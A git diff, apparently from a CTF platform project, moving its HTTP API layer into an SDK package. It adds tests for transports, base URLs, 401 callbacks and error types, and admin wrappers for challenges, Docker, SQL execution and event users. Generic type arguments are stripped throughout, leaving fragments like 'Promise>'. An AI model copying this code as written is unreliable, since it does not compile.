+ expect(hitsA[0]?.authorization).toBeUndefined(); + expect(hitsA[0]?.baseURL).toBe(A_BASE); + expect(hitsB[0]?.authorization).toBe("Bearer TOKEN_B"); + }); + + it("routes AWD/AWDP facades through their own client", async () => { + const hitsA: Recorded[] = []; + const hitsB: Recorded[] = []; + const a = createFloatCTFClient({ baseUrl: A_BASE, getUserToken: () => "TOKEN_A" }); + const b = createFloatCTFClient({ baseUrl: B_BASE, getUserToken: () => "TOKEN_B" }); + record(a.transport.service, hitsA); + record(b.transport.service, hitsB); + + const eventId = "11111111-1111-1111-1111-111111111111"; + await b.awd.player.status(eventId); + await a.awd.player.status(eventId); + + expect(hitsA[0]?.baseURL).toBe(A_BASE); + expect(hitsA[0]?.url).toBe(`/events/${eventId}/awd/status`); + expect(hitsB[0]?.baseURL).toBe(B_BASE); + }); + + it("resolves SSE URLs against the owning client base URL", () => { + const a = createFloatCTFClient({ baseUrl: A_BASE }); + const b = createFloatCTFClient({ baseUrl: "http://127.0.0.1:17780/api" }); + + // 相对路径 → 该客户端自己的 base URL;绝对 URL 原样保留。 + expect(resolveSseUrl(a.baseUrl, "/events/x/awd/stream")).toBe( + `${A_BASE}/events/x/awd/stream`, + ); + expect(resolveSseUrl(b.baseUrl, "/events/x/awd/stream")).toBe( + "http://127.0.0.1:17780/api/events/x/awd/stream", + ); + expect(resolveSseUrl(a.adminBaseUrl, "/events/x/awd/stream")).toBe( + `${A_BASE}/admin/events/x/awd/stream`, + ); + expect(resolveSseUrl(a.baseUrl, "https://other.example/stream")).toBe( + "https://other.example/stream", + ); + expect(a.adminBaseUrl).toBe(`${A_BASE}/admin`); + expect(b.adminBaseUrl).toBe("http://127.0.0.1:17780/api/admin"); + }); + + it("has no module-global binding helpers to reset", async () => { + const sdk = await import("../index.js"); + for (const legacy of [ + "service_api", + "admin_api", + "bindHttpClients", + "resetHttpClientsForTests", + "httpClients", + ]) { + expect(legacy in sdk).toBe(false); + } + // 正常的 SDK 行为不需要任何测试用全局重置:一个客户端发完请求, + // 另一个仍然指向自己的地址。 + const hitsA: Recorded[] = []; + const hitsB: Recorded[] = []; + const a = createFloatCTFClient({ baseUrl: A_BASE, getUserToken: () => "TOKEN_A" }); + record(a.transport.service, hitsA); + const b = createFloatCTFClient({ baseUrl: B_BASE, getUserToken: () => "TOKEN_B" }); + record(b.transport.service, hitsB); + await b.service.events.fetch(); + await a.service.events.fetch(); + expect(hitsA[0]?.baseURL).toBe(A_BASE); + expect(hitsB[0]?.baseURL).toBe(B_BASE); + }); +}); diff --git a/packages/sdk/src/__tests__/errors.test.ts b/packages/sdk/src/__tests__/errors.test.ts new file mode 100644 index 00000000..6360e3c7 --- /dev/null +++ b/packages/sdk/src/__tests__/errors.test.ts @@ -0,0 +1,93 @@ +import { describe, expect, it } from "vitest"; + +import type { UniResponse } from "../protocol"; +import { + FloatCTFError, + floatCTFErrorFromEnvelope, + toFloatCTFError, +} from "../errors"; + +describe("FloatCTFError", () => { + it("exposes typed fields and an axios-compatible response shape", () => { + const error = new FloatCTFError({ + message: "Request failed with status code 403", + kind: "http", + httpStatus: 403, + code: 4030, + platformMessage: "没有权限执行该操作", + response: { status: 403, data: { code: 4030, message: "没有权限执行该操作" } }, + }); + expect(error.name).toBe("FloatCTFError"); + expect(error.kind).toBe("http"); + expect(error.httpStatus).toBe(403); + expect(error.code).toBe(4030); + expect(error.platformMessage).toBe("没有权限执行该操作"); + expect(error.displayMessage).toBe("没有权限执行该操作"); + expect(error.unauthorized).toBe(false); + expect(error.response?.status).toBe(403); + }); + + it("marks 401 as unauthorized", () => { + const error = new FloatCTFError({ message: "401", kind: "http", httpStatus: 401 }); + expect(error.unauthorized).toBe(true); + }); + + it("falls back to message for displayMessage", () => { + const error = new FloatCTFError({ message: "Network Error", kind: "network" }); + expect(error.displayMessage).toBe("Network Error"); + }); +}); + +describe("toFloatCTFError", () => { + it("is idempotent", () => { + const error = new FloatCTFError({ message: "x", kind: "unknown" }); + expect(toFloatCTFError(error)).toBe(error); + }); + + it("normalizes an axios-like HTTP error", () => { + const axiosError = Object.assign(new Error("Request failed with status code 404"), { + isAxiosError: true, + response: { status: 404, statusText: "Not Found", data: { code: 404, message: "不存在" }, headers: {} }, + }); + const normalized = toFloatCTFError(axiosError); + expect(normalized.httpStatus).toBe(404); + expect(normalized.platformMessage).toBe("不存在"); + expect(normalized.kind).toBe("http"); + expect(normalized.original).toBe(axiosError); + }); + + it("normalizes a network error without a response", () => { + const axiosError = Object.assign(new Error("Network Error"), { + isAxiosError: true, + code: "ERR_NETWORK", + }); + const normalized = toFloatCTFError(axiosError); + expect(normalized.kind).toBe("network"); + expect(normalized.httpStatus).toBeUndefined(); + expect(normalized.response).toBeUndefined(); + }); + + it("handles a plain Error and a non-Error value", () => { + expect(toFloatCTFError(new Error("plain")).kind).toBe("unknown"); + expect(toFloatCTFError("string failure").message).toBe("string failure"); + }); +}); + +describe("floatCTFErrorFromEnvelope", () => { + it("returns null for a successful envelope", () => { + const ok: UniResponse<{ id: string }> = { code: 0, message: "ok", data: { id: "x" } }; + expect(floatCTFErrorFromEnvelope(ok)).toBeNull(); + }); + + it("returns a platform error for a non-zero code", () => { + const error = floatCTFErrorFromEnvelope({ code: 7, message: "业务失败" }); + expect(error?.kind).toBe("platform"); + expect(error?.code).toBe(7); + expect(error?.displayMessage).toBe("业务失败"); + }); + + it("ignores non-envelope payloads", () => { + expect(floatCTFErrorFromEnvelope(null)).toBeNull(); + expect(floatCTFErrorFromEnvelope("text")).toBeNull(); + }); +}); diff --git a/packages/sdk/src/__tests__/transport.test.ts b/packages/sdk/src/__tests__/transport.test.ts new file mode 100644 index 00000000..92a22112 --- /dev/null +++ b/packages/sdk/src/__tests__/transport.test.ts @@ -0,0 +1,235 @@ +import { describe, expect, it, vi } from "vitest"; + +import { createFloatCTFClient } from "../client"; +import { FloatCTFError } from "../errors"; +import { + createFloatCTFTransport, + normalizeBaseUrl, + resolveBaseUrls, +} from "../transport"; + +/** + * 传输层契约测试(取代旧 `apps/web/src/api/__tests__/axiosInterceptors.test.ts`)。 + * + * 关键变化: + * - SDK **不再**自己导航或清登录态,而是把 401 交给调用方注入的 `onUnauthorized` + * ("机制在 SDK、UI 反应在前端"这条边界)。 + * - SDK **不再**有模块级共享绑定:每个 transport 都是独立对象,因此这里不需要 + * 任何"测试用全局重置"。 + */ + +interface RecordedRequest { + url?: string; + baseURL?: string; + headers: Record; +} + +interface AxiosLike { + defaults: { adapter?: unknown }; +} + +function installAdapter( + instance: AxiosLike, + record: RecordedRequest[], + respond: (config: { url?: string; baseURL?: string }) => { + status: number; + data?: unknown; + }, +): void { + instance.defaults.adapter = async (config: Record) => { + const url = config.url as string | undefined; + const baseURL = config.baseURL as string | undefined; + record.push({ + url, + baseURL, + headers: (config.headers ?? {}) as Record, + }); + const { status, data } = respond({ url, baseURL }); + if (status >= 400) { + const error = Object.assign( + new Error(`Request failed with status code ${status}`), + { + isAxiosError: true, + response: { status, data, statusText: "", headers: {} }, + config, + }, + ); + throw error; + } + return { status, data, statusText: "", headers: {}, config }; + }; +} + +describe("transport base URL", () => { + it("normalizes trailing slashes and derives the admin base from the player base", () => { + expect(normalizeBaseUrl("https://a.example/api///")).toBe("https://a.example/api"); + expect(resolveBaseUrls({ baseUrl: "https://a.example/api/" })).toEqual({ + baseUrl: "https://a.example/api", + adminBaseUrl: "https://a.example/api/admin", + }); + expect( + resolveBaseUrls({ + baseUrl: "https://a.example/api", + adminBaseUrl: "https://admin.example/ctl/", + }), + ).toEqual({ + baseUrl: "https://a.example/api", + adminBaseUrl: "https://admin.example/ctl", + }); + }); + + it("treats the client baseUrl as authoritative even if requestConfig smuggles a baseURL", async () => { + const seen: RecordedRequest[] = []; + // 故意绕过类型(模拟 JS 调用方 / 旧代码)塞入 baseURL: + // 客户端配置必须赢,否则 client.baseUrl 会与实际请求地址不一致。 + const client = createFloatCTFClient({ + baseUrl: "https://correct.example/api", + requestConfig: { baseURL: "https://wrong.example/api" } as never, + }); + installAdapter(client.transport.service, seen, () => ({ status: 200, data: {} })); + + await client.serviceHttp.get("/events"); + + expect(client.baseUrl).toBe("https://correct.example/api"); + expect(seen[0]?.baseURL).toBe("https://correct.example/api"); + expect(seen[0]?.url).toBe("/events"); + }); + + it("creates isolated transports without any module-level state", async () => { + const seenA: RecordedRequest[] = []; + const seenB: RecordedRequest[] = []; + const a = createFloatCTFTransport("user", { getUserToken: () => "A" }, "/api-a"); + const b = createFloatCTFTransport("user", { getUserToken: () => "B" }, "/api-b"); + installAdapter(a.instance, seenA, () => ({ status: 200, data: {} })); + installAdapter(b.instance, seenB, () => ({ status: 200, data: {} })); + + await b.http.get("/events"); + await a.http.get("/events"); + + expect(seenA[0]?.baseURL).toBe("/api-a"); + expect(seenA[0]?.headers.Authorization).toBe("Bearer A"); + expect(seenB[0]?.baseURL).toBe("/api-b"); + expect(seenB[0]?.headers.Authorization).toBe("Bearer B"); + }); +}); + +describe("transport interceptors", () => { + it("sends the player bearer token on the player transport only", async () => { + const seen: RecordedRequest[] = []; + const client = createFloatCTFClient({ + baseUrl: "/api", + getUserToken: () => "user-token", + getAdminToken: () => "admin-token", + }); + installAdapter(client.transport.service, seen, () => ({ + status: 200, + data: { code: 0 }, + })); + installAdapter(client.transport.admin, seen, () => ({ status: 200, data: { code: 0 } })); + + await client.serviceHttp.get("/events"); + await client.adminHttp.get("/settings"); + + expect(seen[0]?.headers.Authorization).toBe("Bearer user-token"); + expect(seen[1]?.headers.Authorization).toBe("Bearer admin-token"); + }); + + it("omits the Authorization header when there is no token", async () => { + const seen: RecordedRequest[] = []; + const client = createFloatCTFClient({ getUserToken: () => null }); + installAdapter(client.transport.service, seen, () => ({ status: 200, data: {} })); + await client.serviceHttp.get("/events"); + expect(seen[0]?.headers.Authorization).toBeUndefined(); + }); + + it("invokes onUnauthorized for a 401 instead of navigating anywhere", async () => { + const onUnauthorized = vi.fn(); + const client = createFloatCTFClient({ + getUserToken: () => "user-token", + getAdminToken: () => "admin-token", + onUnauthorized, + }); + installAdapter(client.transport.service, [], () => ({ + status: 401, + data: { code: 401, message: "unauthorized" }, + })); + + await expect(client.serviceHttp.get("/events")).rejects.toBeInstanceOf(FloatCTFError); + expect(onUnauthorized).toHaveBeenCalledTimes(1); + expect(onUnauthorized.mock.calls[0][0]).toMatchObject({ scope: "user", status: 401 }); + }); + + it("reports the admin scope separately", async () => { + const onUnauthorized = vi.fn(); + const client = createFloatCTFClient({ onUnauthorized }); + installAdapter(client.transport.admin, [], () => ({ status: 401, data: {} })); + + await expect(client.adminHttp.get("/settings")).rejects.toBeInstanceOf(FloatCTFError); + expect(onUnauthorized.mock.calls[0][0]).toMatchObject({ scope: "admin", status: 401 }); + }); + + it("only notifies the client that owns the failing transport", async () => { + const onUnauthorizedA = vi.fn(); + const onUnauthorizedB = vi.fn(); + const a = createFloatCTFClient({ onUnauthorized: onUnauthorizedA }); + const b = createFloatCTFClient({ onUnauthorized: onUnauthorizedB }); + installAdapter(a.transport.service, [], () => ({ status: 401, data: {} })); + installAdapter(b.transport.service, [], () => ({ status: 401, data: {} })); + + await expect(a.serviceHttp.get("/events")).rejects.toBeInstanceOf(FloatCTFError); + + expect(onUnauthorizedA).toHaveBeenCalledTimes(1); + expect(onUnauthorizedB).not.toHaveBeenCalled(); + }); + + it("does not call onUnauthorized for 500 or for network failures", async () => { + const onUnauthorized = vi.fn(); + const client = createFloatCTFClient({ onUnauthorized }); + installAdapter(client.transport.admin, [], () => ({ + status: 500, + data: { message: "boom" }, + })); + + await expect(client.adminHttp.get("/settings")).rejects.toMatchObject({ + httpStatus: 500, + }); + expect(onUnauthorized).not.toHaveBeenCalled(); + }); + + it("classifies a response-less network error as kind=network without crashing", async () => { + const onError = vi.fn(); + const client = createFloatCTFClient({ onError }); + client.transport.service.defaults.adapter = async () => { + throw Object.assign(new Error("Network Error"), { + isAxiosError: true, + code: "ERR_NETWORK", + }); + }; + + const rejection = await client.serviceHttp.get("/events").catch((error) => error); + expect(rejection).toBeInstanceOf(FloatCTFError); + expect((rejection as FloatCTFError).kind).toBe("network"); + expect((rejection as FloatCTFError).httpStatus).toBeUndefined(); + expect(onError).toHaveBeenCalledTimes(1); + }); + + it("preserves platform code and message, and keeps axios-shaped response for existing UI", async () => { + const client = createFloatCTFClient({}); + installAdapter(client.transport.service, [], () => ({ + status: 400, + data: { code: 1001, message: "赛事已结束,无法提交 flag" }, + })); + + const rejection = (await client.serviceHttp + .get("/submit/flag") + .catch((error) => error)) as FloatCTFError; + expect(rejection.httpStatus).toBe(400); + expect(rejection.code).toBe(1001); + expect(rejection.platformMessage).toBe("赛事已结束,无法提交 flag"); + // 既有页面读取 error.response?.data?.message —— 必须继续可用 + expect( + (rejection.response?.data as { message: string } | undefined)?.message, + ).toBe("赛事已结束,无法提交 flag"); + expect(rejection.displayMessage).toBe("赛事已结束,无法提交 flag"); + }); +}); diff --git a/packages/sdk/src/api/admin/announcements.ts b/packages/sdk/src/api/admin/announcements.ts new file mode 100644 index 00000000..2ac68c0e --- /dev/null +++ b/packages/sdk/src/api/admin/announcements.ts @@ -0,0 +1,37 @@ +import type { Announcements } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createAnnouncementAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/announcements", { params }); + return res.data; + }, + create: async ( + announcement: Partial, + ): Promise> => { + const res = await http.post("/announcements", announcement); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/announcements", { + data: { id_list }, + }); + return res.data; + }, + patch: async ( + announcement: Partial, + ): Promise> => { + const res = await http.patch( + `/announcements/${announcement.id}`, + announcement, + ); + return res.data; + }, +}; +} + +export type AnnouncementAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/auth.ts b/packages/sdk/src/api/admin/auth.ts new file mode 100644 index 00000000..b6e838e3 --- /dev/null +++ b/packages/sdk/src/api/admin/auth.ts @@ -0,0 +1,17 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +export function createAdminLoginFn(http: FloatCTFHttpClient) { + return async ({ + username, + password, + }: { + username: string; + password: string; + }): Promise> => { + const response = await http.post("/session", { username, password }); + return response.data; + }; +} + +export type AdminLoginFn = ReturnType; diff --git a/packages/sdk/src/api/admin/challenges.ts b/packages/sdk/src/api/admin/challenges.ts new file mode 100644 index 00000000..99289036 --- /dev/null +++ b/packages/sdk/src/api/admin/challenges.ts @@ -0,0 +1,135 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; +import type { ChallengeSets } from "../../entity/index.js"; +import type { + BuildChallengeResult, + ChallengeCheckResult, + ChallengeScanItem, + ImportChallengeResponse, +} from "../../types/adminChallenge.js"; +import type { ChallengesListItem } from "../../types/challengeDto.js"; + +export function createChallengeAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/challenges", { params }); + return res.data; + }, + create: async ( + challenge: Partial, + ): Promise> => { + const res = await http.post("/challenges", challenge); + return res.data; + }, + patch: async ( + challenge: Partial, + ): Promise> => { + const res = await http.patch(`/challenges/${challenge.id}`, challenge); + return res.data; + }, + // todo: 批量删除 + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/challenges", { + data: { id_list }, + }); + return res.data; + }, + // 包 zip:meta.toml + src/** + attachment/** + importChallenge: async ( + file: File, + ): Promise> => { + const form = new FormData(); + form.append("package_zip", file, file.name); + + const res = await http.post("/challenges/import", form, { + headers: { + "Content-Type": "multipart/form-data", + }, + }); + return res.data; + }, + checkChallenges: async ( + challenge_id_list?: string[], + ): Promise> => { + const res = await http.post("/challenges/check", { + challenge_id_list, + }); + return res.data; + }, + buildChallenges: async ( + challenge_id_list?: string[], + ): Promise> => { + const res = await http.post("/challenges/build", { + challenge_id_list, + }); + return res.data; + }, + scanChallenges: async (): Promise> => { + const res = await http.post("/challenges/scan"); + return res.data; + }, + getChallengeSets: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/challenge_sets", { params }); + return res.data; + }, + createChallengeSet: async ( + challenge_set: Partial, + ): Promise> => { + const res = await http.post("/challenge_sets", challenge_set); + return res.data; + }, + deleteChallengeSet: async ( + id_list: string[], + ): Promise> => { + const res = await http.delete("/challenge_sets", { + data: { id_list }, + }); + return res.data; + }, + getChallengeSet: (id: string) => { + return async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/challenge_sets/${id}`, { + params, + }); + return res.data; + }; + }, + removeChallengeFromSet: (id: string) => { + return async (id_list: string[]): Promise> => { + const res = await http.delete(`/challenge_sets/${id}/challenges`, { + data: { id_list }, + }); + return res.data; + }; + }, + addChallengeToSet: async ({ + set_id, + challenge_id_list, + }: { + set_id: string; + challenge_id_list?: string[]; + }): Promise> => { + const res = await http.post(`/challenge_sets/${set_id}/challenges`, { + challenge_id_list, + }); + return res.data; + }, + patchChallengeSet: async ( + challenge_set: Partial, + ): Promise> => { + const res = await http.patch( + `/challenge_sets/${challenge_set.id}`, + challenge_set, + ); + return res.data; + }, +}; +} + +export type ChallengeAdminApi = ReturnType; diff --git a/apps/web/src/api/admin/dashboard.ts b/packages/sdk/src/api/admin/dashboard.ts similarity index 68% rename from apps/web/src/api/admin/dashboard.ts rename to packages/sdk/src/api/admin/dashboard.ts index 6a94ecc6..ae10174c 100644 --- a/apps/web/src/api/admin/dashboard.ts +++ b/packages/sdk/src/api/admin/dashboard.ts @@ -1,4 +1,5 @@ -import { type UniResponse, admin_api } from "@/api/axios"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; export type DashboardSummary = { stats: { @@ -59,10 +60,14 @@ export type DashboardSummary = { }; }; -export const dashboardAdminApi = { - /** GET /api/admin/dashboard/summary —— 一次拿到总览所需全部聚合数据 */ - summary: async (): Promise> => { - const res = await admin_api.get("/dashboard/summary"); - return res.data; - }, +export function createDashboardAdminApi(http: FloatCTFHttpClient) { + return { + /** GET /api/admin/dashboard/summary —— 一次拿到总览所需全部聚合数据 */ + summary: async (): Promise> => { + const res = await http.get("/dashboard/summary"); + return res.data; + }, }; +} + +export type DashboardAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/database.ts b/packages/sdk/src/api/admin/database.ts new file mode 100644 index 00000000..04ed95f0 --- /dev/null +++ b/packages/sdk/src/api/admin/database.ts @@ -0,0 +1,19 @@ +import type { SqlResult, SqlStatement } from "../../types/database.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +export function createDatabaseAdminApi(http: FloatCTFHttpClient) { + return { + exec_sql: async ({ + sql, + }: SqlStatement): Promise> => { + const res = await http.post("/database/exec_sql", { + sql, + }); + + return res.data; + }, +}; +} + +export type DatabaseAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/discussions.ts b/packages/sdk/src/api/admin/discussions.ts new file mode 100644 index 00000000..42fc1ec2 --- /dev/null +++ b/packages/sdk/src/api/admin/discussions.ts @@ -0,0 +1,44 @@ +import type { DiscussionComments, Discussions } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createDiscussionAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/discussions", { params }); + return res.data; + }, + get: async (id: string): Promise> => { + const res = await http.get(`/discussions/${id}`); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/discussions", { + data: { id_list }, + }); + return res.data; + }, + getComments: async ( + id: string, + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/discussions/${id}/comments`, { + params, + }); + return res.data; + }, + removeComment: async ( + discussion_id: string, + comment_id: string, + ): Promise> => { + const res = await http.delete( + `/discussions/${discussion_id}/comments/${comment_id}`, + ); + return res.data; + }, +}; +} + +export type DiscussionAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/docker.ts b/packages/sdk/src/api/admin/docker.ts new file mode 100644 index 00000000..e2b3b753 --- /dev/null +++ b/packages/sdk/src/api/admin/docker.ts @@ -0,0 +1,103 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export interface FloatDockerContainer { + id: string; + name: string; + status: string; + image: string; + ports: string; + created: number; +} + +export interface ContainerInfo { + id: string; + names: string[]; + image: string; + image_id: string; + state: string; + status: string; + created: number; + ports: PortInfo[]; +} + +export interface PortInfo { + IP?: string; + PrivatePort: number; + PublicPort?: number; + Type: string; +} + +export interface ImageInfo { + id: string; + repo_tags: string[]; + size: number; + created: number; +} + +export interface NetworkInfo { + id: string; + name: string; + driver: string; + scope: string; + ipam_driver: string; + subnet?: string; + gateway?: string; + created: number; +} + +export function createDockerAdminApi(http: FloatCTFHttpClient) { + return { + fetchContainers: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/docker/containers", { params }); + return res.data; + }, + stopContainer: async (container_id: string): Promise> => { + const res = await http.post(`/docker/containers/${container_id}/stop`); + return res.data; + }, + startContainer: async (container_id: string): Promise> => { + const res = await http.post( + `/docker/containers/${container_id}/start`, + ); + return res.data; + }, + deleteContainer: async (container_id: string): Promise> => { + const res = await http.delete(`/docker/containers/${container_id}`); + return res.data; + }, + fetchImages: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/docker/images", { params }); + return res.data; + }, + deleteImage: async (image_id: string): Promise> => { + const res = await http.delete(`/docker/images/${image_id}`); + return res.data; + }, + fetchNetworks: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/docker/networks", { params }); + return res.data; + }, + createNetwork: async (network: { + name: string; + subnet: string; + gateway: string; + driver?: string; + }): Promise> => { + const res = await http.post("/docker/networks", network); + return res.data; + }, + deleteNetwork: async (network_id: string): Promise> => { + const res = await http.delete(`/docker/networks/${network_id}`); + return res.data; + }, +}; +} + +export type DockerAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/download.ts b/packages/sdk/src/api/admin/download.ts new file mode 100644 index 00000000..2a97140a --- /dev/null +++ b/packages/sdk/src/api/admin/download.ts @@ -0,0 +1,30 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; + +export function createDownloadAdminApi(http: FloatCTFHttpClient) { + return { + download: async (key: string): Promise => { + const res = await http.get("/download", { + params: { key }, + }); + const url = res.data.data; + const blobRes = await fetch(url); + // 4xx/5xx(如 RustFS 验签失败返回的 403 XML)不保存成 .pdf/.zip + if (!blobRes.ok) { + throw new Error(`download failed: HTTP ${blobRes.status}`); + } + const blob = await blobRes.blob(); + // 内容类型校验:XML 错误页不应被当作文件保存 + if (blob.type.includes("xml") || blob.type.includes("html")) { + throw new Error(`download failed: unexpected content type ${blob.type}`); + } + const blobUrl = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = blobUrl; + a.download = key.split("/").pop() || "download"; + a.click(); + URL.revokeObjectURL(blobUrl); + }, +}; +} + +export type DownloadAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/event_announcements.ts b/packages/sdk/src/api/admin/event_announcements.ts new file mode 100644 index 00000000..c2684979 --- /dev/null +++ b/packages/sdk/src/api/admin/event_announcements.ts @@ -0,0 +1,53 @@ +import type { EventAnnouncements } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventAnnouncementAdminApi(http: FloatCTFHttpClient) { + return { + fetch: (event_id: string) => { + return async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get( + `/events/${event_id}/announcements`, + { + params, + }, + ); + return res.data; + }; + }, + + create: (event_id: string) => { + return async (announcement: Partial) => { + const res = await http.post( + `/events/${event_id}/announcements`, + announcement, + ); + return res.data; + }; + }, + patch: (event_id: string) => { + return async (announcement: Partial) => { + const res = await http.patch( + `/events/${event_id}/announcements/${announcement.id}`, + announcement, + ); + return res.data; + }; + }, + remove: (event_id: string) => { + return async (id_list: string[]) => { + const res = await http.delete( + `/events/${event_id}/announcements`, + { + data: { id_list }, + }, + ); + return res.data; + }; + }, +}; +} + +export type EventAnnouncementAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/event_challenges.ts b/packages/sdk/src/api/admin/event_challenges.ts new file mode 100644 index 00000000..9d047e7c --- /dev/null +++ b/packages/sdk/src/api/admin/event_challenges.ts @@ -0,0 +1,103 @@ +import type { JeopardyEventChallenges as EventChallenges } from "../../entity/index.js"; +import type { EventChallengeResult } from "../../types/adminEventChallenge.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventChallengeAdminApi(http: FloatCTFHttpClient) { + return { + fetch: (event_id: string) => { + return async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${event_id}/challenges`, { + params, + }); + return res.data; + }; + }, + + add: async ({ + event_id, + challenge_id_list, + challenge_id, + points, + }: { + event_id: string; + challenge_id_list?: string[]; + challenge_id?: string; + points?: number; + }): Promise> => { + const res = await http.post(`/events/${event_id}/challenges`, { + challenge_id_list, + challenge_id, + points, + }); + return res.data; + }, + setPoints: async ({ + event_id, + challenge_id_list, + points, + }: { + event_id: string; + challenge_id_list: string[]; + points: number; + }): Promise> => { + const res = await http.patch(`/events/${event_id}/challenges`, { + challenge_id_list, + points, + }); + return res.data; + }, + remove: (event_id: string) => { + return async (id_list: string[]): Promise> => { + console.log(id_list); + const res = await http.delete( + `/events/${event_id}/challenges`, + { + data: { id_list }, + }, + ); + return res.data; + }; + }, + open: async ({ + event_id, + challenge_id_list, + challenge_id, + }: { + event_id: string; + challenge_id_list?: string[]; + challenge_id?: string; + }): Promise> => { + const res = await http.post( + `/events/${event_id}/challenges/open`, + { + challenge_id_list, + challenge_id, + }, + ); + return res.data; + }, + hidden: async ({ + event_id, + challenge_id_list, + challenge_id, + }: { + event_id: string; + challenge_id_list?: string[]; + challenge_id?: string; + }): Promise> => { + const res = await http.post( + `/events/${event_id}/challenges/hidden`, + { + challenge_id_list, + challenge_id, + }, + ); + return res.data; + }, +}; +} + +export type EventChallengeAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/event_logs.ts b/packages/sdk/src/api/admin/event_logs.ts new file mode 100644 index 00000000..a16e845a --- /dev/null +++ b/packages/sdk/src/api/admin/event_logs.ts @@ -0,0 +1,20 @@ +import type { EventLogs } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventLogAdminApi(http: FloatCTFHttpClient) { + return { + fetch: (event_id: string) => { + return async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${event_id}/logs`, { + params, + }); + return res.data; + }; + }, +}; +} + +export type EventLogAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/event_teams.ts b/packages/sdk/src/api/admin/event_teams.ts new file mode 100644 index 00000000..54acf1aa --- /dev/null +++ b/packages/sdk/src/api/admin/event_teams.ts @@ -0,0 +1,48 @@ +import type { TeamResult } from "../../types/adminEventTeam.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +export function createEventTeamAdminApi(http: FloatCTFHttpClient) { + return { + getTeams: (id: string) => { + return async (): Promise> => { + const res = await http.get(`/events/${id}/teams`); + return res.data; + }; + }, + remove: (id: string) => { + return async (id_list: string[]): Promise> => { + const res = await http.delete(`/events/${id}/teams`, { + data: { id_list }, + }); + return res.data; + }; + }, + banned: async ({ + event_id, + team_id, + }: { + event_id: string; + team_id: string; + }) => { + const res = await http.post( + `/events/${event_id}/teams/${team_id}/banned`, + ); + return res.data; + }, + unbanned: async ({ + event_id, + team_id, + }: { + event_id: string; + team_id: string; + }) => { + const res = await http.post( + `/events/${event_id}/teams/${team_id}/unbanned`, + ); + return res.data; + }, +}; +} + +export type EventTeamAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/event_users.ts b/packages/sdk/src/api/admin/event_users.ts new file mode 100644 index 00000000..834017ae --- /dev/null +++ b/packages/sdk/src/api/admin/event_users.ts @@ -0,0 +1,66 @@ +import type { EventUserResult } from "../../types/adminEventUser.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventUserAdminApi(http: FloatCTFHttpClient) { + return { + fetch: (event_id: string) => { + return async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${event_id}/users`, { + params, + }); + return res.data; + }; + }, + add: ({ + event_id, + user_id, + user_id_list, + }: { + event_id: string; + user_id?: string; + user_id_list?: string[]; + }): Promise> => { + return http.post(`/events/${event_id}/users`, { + user_id, + user_id_list, + }); + }, + delete: (event_id: string) => { + return async (id_list: string[]): Promise> => { + const res = await http.delete(`/events/${event_id}/users`, { + data: { id_list }, + }); + return res.data; + }; + }, + banned: async ({ + event_id, + user_id, + }: { + event_id: string; + user_id: string; + }): Promise> => { + const res = await http.post( + `/events/${event_id}/users/${user_id}/banned`, + ); + return res.data; + }, + unbanned: async ({ + event_id, + user_id, + }: { + event_id: string; + user_id: string; + }): Promise> => { + const res = await http.post( + `/events/${event_id}/users/${user_id}/unbanned`, + ); + return res.data; + }, +}; +} + +export type EventUserAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/event_writeups.ts b/packages/sdk/src/api/admin/event_writeups.ts new file mode 100644 index 00000000..1d9d090a --- /dev/null +++ 